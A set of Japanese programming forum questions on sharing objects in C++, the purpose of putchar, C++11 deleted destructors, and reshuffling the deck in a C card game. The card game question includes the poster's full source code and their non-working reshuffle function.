majiponiさんのおっしゃった、この方法ももちろん考えたのですが、Cは複数あるので、内容の同じオブジェクトをいくつも持つのは無駄ではないかと思い、使いませんでした。
質問しておいてなんだという話になりますが、少しでもメモリが節約できればと思い参照を使おうとしたけれど、実際ポインタを使った方法と参照を使った方法でメモリの使用量に大きなさはあるのでしょうか？

> オブジェクトの共有目的で参照を使った場合、寿命の管理が難しくなり、また、混乱しやすいと思っています。

raccyさんのおっしゃったように、自分があとで見て混乱しないようにするためにも、ひねくれて参照なんて使わずに、ポインタを使ったほうがまだ安全なのではないかと、回答を読んでいるうちに思いました。また、シングルトンというのもあるようですが、そこまでするほどの物でもないしなぁといった感じです。結局、どうするのがベストなのでしょうか？

C++で複数のオブジェクト間で１つのオブジェクトを共有する方法

C言語を勉強しているのですが
【**putchar**】というのがあるとおもうのですが
一文字しか出力できないんですよね？
な、なんの意味があるのでしょうか....
puts("")やprintf("")でも一文字ってできますよね？

具体的にputcharとはいつ使うのでしょうか？

putcharの必要性について

C++では、仮想関数の宣言に`= 0`とすることで純粋仮想関数を指定する「純粋指定子」がありましたが、C++11では、

* デフォルトコンストラクタ・コピーコンストラクタ・代入演算子・デストラクタについて、コンパイラの自動生成したものを使うと明示する`= default`
* 特定のメンバ関数がないことを宣言する`= delete`

のような指定子が加わっています。

そして、この「`= delete`」で宣言したメンバ関数を呼ぶようなコードを書けば、（呼び出しが明示的か暗黙のうちにかを問わず）コンパイルエラーとなります。代入やインスタンス化など、特定の操作を禁止できるという意味では便利です。

そして、構文上は`~someClass() = delete;`とできるのですが、以下のような挙動になりました（手元のg++ 4.7.2で`-std=gnu++11`として動かしてみました）。

* 宣言自体は問題なく可能
* そのクラスのローカル変数を宣言しようすると、スコープアウト時の破棄でデストラクタが呼ばれるためコンパイルエラー
* ポインタを宣言して`new`することは可能（他のメンバ関数も呼べる）
 * ただし、`delete`を書くとコンパイルエラー

このような、「`new`はできるけど`delete`が不可能な上に自動変数にもできない」クラスができあがったのですが、果たして何かに実用できるものなのでしょうか。それとも、じつは「デストラクタを`= delete`するのは未定義」なのでしょうか。

C++11で、デストラクタ = deleteとする意味について

こんにちは
私は現在カードゲームを作成しています。
作成したいゲームの基本的な処理は作成できたのですが一か所どうすれば実現できるのかわからない処理があり困っています。
【ルール】
・場に出ているカードの絵柄か数字が手札のカードと同じだった場合、
一致したカードを捨てることができる。
・手札が0枚になったら勝ちとなる。
・手札枚数が51枚になり、カードを引こうとした場合プレイヤーの負けとする。
・山札が0枚になったときカードを引こうとした場合、最後に場に出したカードと手札以外のカードをシャッフルし再度山札を作る。

この最後のルールの処理を実現したいのですが特定の配列の値(手札と最後に場に出したカード値)を固定し、
その他の配列をシャッフルすれば可能なのではないかと思いました。
main関数のコメントアウトした箇所で再シャッフル用の関数(リバースデッキ関数)を呼び出してシャッフルしようとしたのですが、私の考え方が違うのかうまくいきませんでした。
どうすれば最後のルールの再シャッフル処理をできるのか知恵をお借りしたいです。
```C
#define _CRT_SECURE_NO_WARNINGS//scanf警告解除用
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

#define CARD_MAX (52)//カード枚数
#define SAME_CARD (13)//同じ種類のカード枚数
#define INIT_HAND (5)//初手
#define TRUE (1)//正
#define FALSE (0)//負
#define YES (1)//イエス
#define NO (2)//ノー
#define SPADE (0)//スペード
#define CLUB (1)//クラブ
#define DIA (2)//ダイヤ
#define HEART (3)//ハート

/*構造体定義*/
typedef struct {

	unsigned int hand_cnt;//手札カウンタ
	unsigned char card_num[CARD_MAX];//カードの種類

}PLAYER_DATA;

/*変数宣言*/
unsigned char card_deck[CARD_MAX];//カードデッキ
unsigned int rest_cnt;//デッキ残数カウンタ
unsigned int turn_cnt;//ターンカウンタ

char number[CARD_MAX];//カード値格納用

/*関数プロトタイプ宣言*/
void init_card(void);
void draw_card(PLAYER_DATA *myhand);
void output_hand(PLAYER_DATA *myhand);
void cemetery_card(PLAYER_DATA* field, PLAYER_DATA* myhand, int *input_data);
void delete_hand(PLAYER_DATA *myhand, int *input_data);
int search_card(PLAYER_DATA *field, PLAYER_DATA *myhandint, int *input_data);
void rebirth_deck(PLAYER_DATA *field, PLAYER_DATA *myhand);
/********************************/
/* メイン関数          */
/********************************/
int main(int argc, char*argv[])
{
	static PLAYER_DATA myhand;//プレイヤーの手札構造体
	PLAYER_DATA field_card;//場のカード構造体

	int draw_cnt;//ドローカウンタ
	int input;//プレイヤー入力
	int return_num;//戻り値
	int yes_no;//Yes or No

	init_card();//デッキ初期化
	myhand.hand_cnt = 0;//手札枚数初期化
	field_card.hand_cnt = 0;//場のカード枚数初期化
	turn_cnt = 1;//ターンカウンタ初期化(開始時を1ターン目とする)

	/*カードを5枚ドロー*/
	for (draw_cnt = 0; draw_cnt < INIT_HAND; draw_cnt++) {
		draw_card(&myhand);
	}
	/*場に出すカードをドロー*/
	draw_card(&field_card);

	/*画面にカードを出力*/
	printf("******************************************************\n");
	printf("現在のターン:%dターン目\n", turn_cnt);
	printf("******************************************************\n");
	printf("場のカード:\n");
	output_hand(&field_card);
	printf("\nあなたの手札:\n");
	output_hand(&myhand);

	while (1) {
		/*************/
		/* 1ターン目 */
		/*************/
		printf("\n山札(残数) %d 枚\n", CARD_MAX - rest_cnt);
		printf("\n【ルール】\n");
		printf("場のカードと同じ数字か同じスートの\n");
		printf("カードを捨てることができます。\n");
		printf("\n");
		printf("カードを捨てますか?\n");
		printf("(1)Yes (2)No\n");
		scanf("%d", &yes_no);
		printf("\n");
		if (yes_no == YES) {//捨てる場合捨てるカードを選択
			printf("捨てるカード番号を入力してください：");
			scanf("%d", &input);
			return_num = search_card(&field_card, &myhand, &input);
			if (return_num == TRUE) {//フィールドのカード値または絵柄が一致した場合
				cemetery_card(&field_card, &myhand, &input);//card_dataの配列は[0～4]出力のため関数内で-1する
				delete_hand(&myhand, &input);
			}
			else if (return_num == FALSE) {
				printf("\n選んだ番号のカードは捨てられません。\n");
				printf("デッキからカードを一枚引きます。\n");
				
				//if (rest_cnt == CARD_MAX) {
				//rebirth_deck(&field_card, &myhand);
				//}

				draw_card(&myhand);

			}
		}
		else if (yes_no == NO) {//捨てない場合デッキからカードを引く
			draw_card(&myhand);
			if (myhand.hand_cnt == CARD_MAX) {//手札に52枚目を加えようとしたらバースト
				printf("\nカードがなくなりました。\n");
				printf("あなたの負けです。\n");
				printf("ゲームを終了します。\n");
				break;
			}
		}
		turn_cnt++;//カードを捨てたら1ターン目終了
		/****************/
		/*以下nターン目 */
		/****************/
		printf("******************************************************\n");
		printf("現在のターン:%dターン目\n", turn_cnt);
		printf("******************************************************\n");
		printf("場のカード:\n");
		output_hand(&field_card);
		printf("\nあなたの手札:\n");
		output_hand(&myhand);
		if (myhand.hand_cnt == 0) {//手札が0になったら
			printf("\nゲームクリアおめでとうございます。\n");
			printf("クリアするのに%dターンかかりました。\n", turn_cnt);
			printf("このまま終了します。\n");
			break;
		}
	}

	/*デバッグ用*/
#if 1
	int debag;
	scanf("%d", &debag);
#endif
	return 0;
}
/********************************/
/* デッキシャッフル(初期化)関数 */
/********************************/
void init_card(void) {

	int rnd;//ランダム値格納用変数
	int tmp;
	int arr_cnt;//配列カウンタ
	srand((unsigned)time(NULL));

	for (arr_cnt = 0; arr_cnt < CARD_MAX; arr_cnt++) {//カード値配列初期化
		number[arr_cnt] = arr_cnt;

	}

	for (rest_cnt = 0; rest_cnt< CARD_MAX; rest_cnt++) {//デッキ初期化

		card_deck[rest_cnt] = rest_cnt;

	}

	rest_cnt = 0;//初期残数0

	for (rest_cnt = 0; rest_cnt < CARD_MAX; rest_cnt++) {//デッキシャッフル

		rnd = rand() % (CARD_MAX);
		tmp = card_deck[rest_cnt];
		card_deck[rest_cnt] = card_deck[rnd];
		card_deck[rnd] = tmp;

	}

	rest_cnt = 0;
}

/********************************/
/* ドローカード関数				*/
/********************************/
void draw_card(PLAYER_DATA *myhand) {

	myhand->card_num[myhand->hand_cnt] = card_deck[rest_cnt];

	myhand->hand_cnt++;//手札に一枚加える
	rest_cnt++;//デッキから1枚カードを抜く

}

/********************************/
/* 手札表示関数  				*/
/********************************/
void output_hand(PLAYER_DATA *myhand)
{
	unsigned int myhnd_cnt;
	int select;
	int card;
	int suit;
	select = 0;

	//ドローしたカード枚数分画面に表示
	for (myhnd_cnt = 0; myhnd_cnt < myhand->hand_cnt; myhnd_cnt++) {
		select++;
		card = (int)(number[myhand->card_num[myhnd_cnt]]) % SAME_CARD + 1;
		suit = (int)(number[myhand->card_num[myhnd_cnt]])/ SAME_CARD;

		printf("(%d)%d", select, card);
		switch (suit) {

		case SPADE:
			printf("S");
			break;

		case CLUB:
			printf("C");
			break;

		case DIA:
			printf("D");
			break;

		case HEART:
			printf("H");
			break;

		}

	}

	printf("\n");
}

/********************************/
/* セメタリーカード関数  	    */
/********************************/
void cemetery_card(PLAYER_DATA *field, PLAYER_DATA *myhand, int *input_data)
{
	//セメタリーのカードを選択された手札で更新
	field->card_num[field->hand_cnt] = myhand->card_num[*input_data - 1];
	field->hand_cnt++;//フィールドのカード列をずらす

}

/********************************/
/* 手札削除関数         	    */
/********************************/
void delete_hand(PLAYER_DATA *myhand, int *input_data)
{
	unsigned int input_cnt;

	//入力された選択肢のカードを起点に手札を一枚ずつずらす
	for (input_cnt = *input_data - 1; input_cnt < myhand->hand_cnt - 1; input_cnt++) {
		myhand->card_num[input_cnt] = myhand->card_num[input_cnt + 1];
	}
	myhand->hand_cnt--;//手札を一枚減らす
}

/********************************/
/* 手札検索関数         	    */
/********************************/
int search_card(PLAYER_DATA *field, PLAYER_DATA *myhand,int *input_data)
{
	unsigned int search_cnt;
	int answer;
	int hand_card;
	int hand_suit;
	int field_card;
	int field_suit;
	hand_card = (int)(number[myhand->card_num[*input_data - 1]]) % SAME_CARD + 1;
	hand_suit = (int)(number[myhand->card_num[*input_data - 1]]) / SAME_CARD;
	field_card = (int)(number[field->card_num[field->hand_cnt-1]]) % SAME_CARD + 1;
	field_suit = (int)(number[field->card_num[field->hand_cnt-1]]) / SAME_CARD;

	answer = FALSE;
		if((hand_card == field_card)
		||(hand_suit == field_suit))
		{
			answer = TRUE; 
		}

	return answer;
}

#if 0
/********************************/
/* リバースデッキ関数      */
/********************************/
void rebirth_deck(PLAYER_DATA *field, PLAYER_DATA *myhand)
{
	int rnd;//ランダム値格納用変数
	int tmp;
	int arr_cnt;//配列カウンタ
	srand((unsigned)time(NULL));

	for (arr_cnt=0; arr_cnt < CARD_MAX; arr_cnt--) {//デッキシャッフル
		if ((myhand->card_num[myhand->hand_cnt] == card_deck[rest_cnt]) ||
			(field->card_num[myhand->hand_cnt] == card_deck[rest_cnt])) {
			continue;
		}
		rnd = rand() % (CARD_MAX);
		tmp = card_deck[arr_cnt];
		card_deck[arr_cnt] = card_deck[rnd];
		card_deck[rnd] = tmp;

	}
	rest_cnt = myhand->hand_cnt+1;
}
#endif
```